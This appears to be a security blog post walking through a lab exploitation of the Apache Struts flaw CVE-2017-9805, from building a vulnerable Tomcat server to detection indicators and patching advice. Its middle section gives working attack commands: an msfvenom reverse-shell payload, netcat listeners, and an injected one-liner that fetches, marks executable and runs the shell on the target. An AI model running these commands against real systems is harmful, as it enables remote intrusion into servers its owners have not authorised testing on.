Exploiting Apache Struts – CVE-2017-9805

CVE-2017-9805 is yet another very legitimate vulnerability in the Apache Struts framework. In the video, I demonstrate how easy it is to run a simple public python script against a vulnerable remote server, ultimately resulting in a reverse shell back to the attacker. In this post, I will cover all the steps shown in the video but I am also going to cover the steps needed to create a vulnerable server and touch on a some basic indicators for detecting this type of activity in your own environment.

If you are running a vulnerable version of this software (Apache Struts 2.5 < 2.5.12), you should definitely upgrade as soon as possible – this is a very real threat. As with any Apache Struts vulnerability that allows for RCE, I would expect a high volume of attackers actively scanning for and exploiting this vulnerability in the wild and this activity will likely continue for a some time.

Vulnerable Struts Package:


Building a Vulnerable Server

For my target/vulnerable Struts server, I used Ubuntu 16.04.2 for the base image and then installed Tomcat 8 and Java 1.8. After that the only other thing needed to create a vulnerable server is to deploy the vulnerable struts2-rest-showcase application.

  1. Install Tomcat 8:
    # apt-get install tomcat8 tomcat8-admin

  2. Now open the configuration file to add an admin user to Tomcat:
    # nano /etc/tomcat8/tomcat-users.xml

  3. Add the following line between the <tomcat-users> tags:
    <user username=”admin” password=”P@$$w0rd” roles=”manager-gui,admin-gui”/>

  4. Restart Tomcat:
    # systemctl restart tomcat8

  5. Download the Apache Struts Package, do this step on another machine with a GUI as we will need to upload these files via browser later:

  6. Log into the Tomcat Manager:

  7. Deploy the struts2-rest-showcase.war (found in the apps folder of the struts-2.5-all.zip) via the Tomcat Manager.

    Under Applications > Path, you should now see /struts2-rest-showcase – click there and you should then be redirected to the vulnerable struts application:

The server should now be ready.

Testing and Exploiting the Vulnerability

For reference sake, let’s assume the following about the lab environment:

IP Role Notes Attacker Kali machine Target Ubuntu machine running Apache Struts
  1. Using the python script from exploit-db to target the struts application at the following URL, lets try to have the target wget a file from the attacker machine:
    # python 42627.py “wget”

    To test without running a web server like Apache on the local attacker machine, simply catch the wget by setting up a netcat listener on port 80:
    # nc -nvlp 80

    The file fake.php doesn’t have to exist, we’re just looking to see if the target runs the command, making the request back to the attacker machine and we see that it does:

  2. Now that we know the server will run commands for us, lets take things a step further and get a reverse shell.

    Using MSFVenom, create a basic reverse shell that will connect back to the attacker over 443 and save it locally on the attacking machine in Apache’s root directory:
    # msfvenom -p linux/x86/shell_reverse_tcp -f elf LHOST= LPORT=443 -o /var/www/html/rev_shell

    Note: Make sure to start Apache at this point if it is not already running.

  3. Now we are going to use the python exploit to run a series of commands in one big injection. This part has to be done in one request, the commands can not be entered one at a time. Also, this is still entirely blind and no output will be visible from the commands, so there will be some trial and error. In order to get the reverse shell on the target server and running, this one liner will need to do the following:

    1. CD to a directory that is writable by tomcat – I am going to use /dev/shm
    2. Wget the reverse shell executable from our attacking machine to the writable directory
    3. Chmod the file to make it executable
    4. Run the executable

    First, get a netcat listener ready on the attacking machine to catch reverse shell that is about to be connecting back:
    # nc -nvlp 443

    Now run the python exploit with the new commands from the attacking machine:
    # python 42627.py “cd /dev/shm && wget && chmod +x rev_shell && ./rev_shell”

    Note: The &&’s have to be XML encoded or they will not be parsed correctly and the injection will not run as expected.

We should now have a reverse shell running as the tomcat user. While this user is not privileged, it does have access to plenty of interesting files on the local file system and can also potentially be leveraged for privilege escalation.

Additional Analysis and Indicators

On the network

I have a pcap sample of a successful exploit attempt that can be downloaded here:

When reviewing the packet captures, you should see something similar to the following when this exploit is being ran against a target. This was a successful attempt –



Tomcat Logs

In the Tomcat logs you will see that this attack is a POST request and with this particular application it returns a HTTP 500 status whether the attack was successful or not: – – [13/Sep/2017:00:33:07 -0500] “POST /struts2-rest-showcase/orders/3 HTTP/1.1” 500 15890

Symantec Endpoint Protection

I have Symantec Endpoint Protection on a Windows machine that is running IIS/ARR acting as reverse proxy/load balancer, and while I was testing this exploit I realized it was actually blocking my attempts and aborting the connections. I was honestly surprised it caught this and Snort did not (no signature for it yet), so I figured I would include it here. This activity was logged in the Windows Application logs as a Warning with an Event ID 400 from the source Symantec Network Protection along with the following message:
[SID: 30278] Attack: Apache Struts CVE 2017 9805 2 attack blocked. Traffic has been blocked for this application: SYSTEM

Final Thoughts

From an administrator’s perspective, this is a vulnerability that should be taken seriously and be patched as soon as possible, otherwise it is only a matter of time. Even if you are not running this software it is worth blocking any traffic that flags a signature for this attack at the perimeter. There will likely be a high volume attackers attempting this exploit and there is no sense on wasting server resources processing these malicious requests.

From an attacker’s perspective, patching this vulnerability is not as simple as running Windows Update or just installing a patch. It is going to take some time for companies and application owners to first identify where this software is running within their environment and what applications are utilizing it. Next they will need to patch, compile and test the updated applications before moving to production. As you can imagine this is going to take some time and resources to complete.

Comments are closed.